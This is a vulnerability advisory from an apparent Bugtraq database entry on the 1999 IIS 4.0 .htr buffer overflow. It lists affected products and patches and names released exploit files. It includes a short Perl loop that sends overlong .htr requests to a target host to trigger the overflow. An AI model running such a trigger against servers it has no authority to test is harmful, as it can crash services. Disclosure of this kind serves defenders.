NT IIS4 Buffer Overflow Vulnerability

Bugtraq ID:	307
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 15 1999 12:00AM
Updated:	Jun 15 1999 12:00AM
Credit:	This vulnerability was discovered by the eEye Digital Security Team.
Vulnerable:	Microsoft IIS 4.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Call Manager 3.0 + Cisco Call Manager 3.0 + Cisco Call Manager 2.0 + Cisco Call Manager 2.0 + Cisco Call Manager 1.0 + Cisco Call Manager 1.0 + Cisco ICS 7750 + Cisco ICS 7750 + Cisco IP/VC 3540 Video Rate Matching Module + Cisco IP/VC 3540 Video Rate Matching Module + Cisco Unity Server 2.4 + Cisco Unity Server 2.4 + Cisco Unity Server 2.3 + Cisco Unity Server 2.3 + Cisco Unity Server 2.2 + Cisco Unity Server 2.2 + Cisco Unity Server 2.0 + Cisco Unity Server 2.0 + Cisco uOne 4.0 + Cisco uOne 4.0 + Cisco uOne 3.0 + Cisco uOne 3.0 + Cisco uOne 2.0 + Cisco uOne 2.0 + Cisco uOne 1.0 + Cisco uOne 1.0 + Hancom Hancom Office 2007 0 + Hancom Hancom Office 2007 0 + Microsoft BackOffice 4.5 + Microsoft BackOffice 4.5 + Microsoft Windows NT 4.0 Option Pack + Microsoft Windows NT 4.0 Option Pack
Not Vulnerable:	Microsoft Windows NT 4.0 SP6 + Microsoft Windows NT Enterprise Server 4.0 SP6 + Microsoft Windows NT Enterprise Server 4.0 SP6 + Microsoft Windows NT Server 4.0 SP6 + Microsoft Windows NT Server 4.0 SP6 + Microsoft Windows NT Terminal Server 4.0 SP6 + Microsoft Windows NT Terminal Server 4.0 SP6 + Microsoft Windows NT Workstation 4.0 SP6 + Microsoft Windows NT Workstation 4.0 SP6

NT IIS4 Buffer Overflow Vulnerability

Use the following script to test your site:

#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}

An exploit has been released as part of the MetaSploit Framework 2.3.

• /data/vulnerabilities/exploits/iishack.exe
• /data/vulnerabilities/exploits/iis-injector.c
• /data/vulnerabilities/exploits/tesoiis.c
• /data/vulnerabilities/exploits/iis40_htr.pm

NT IIS4 Buffer Overflow Vulnerability

Solution:
Microsoft has made the following fix available:

ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/

This vulnerability was patched in NT Service Pack 6.

eEye has made available a filter patch that will limit .htr request to 255 bytes yet allow normal request to continue to work. The filter and source are available at:

http://www.eeye.com/database/advisories/ad06081999/ad06081999-ogle.html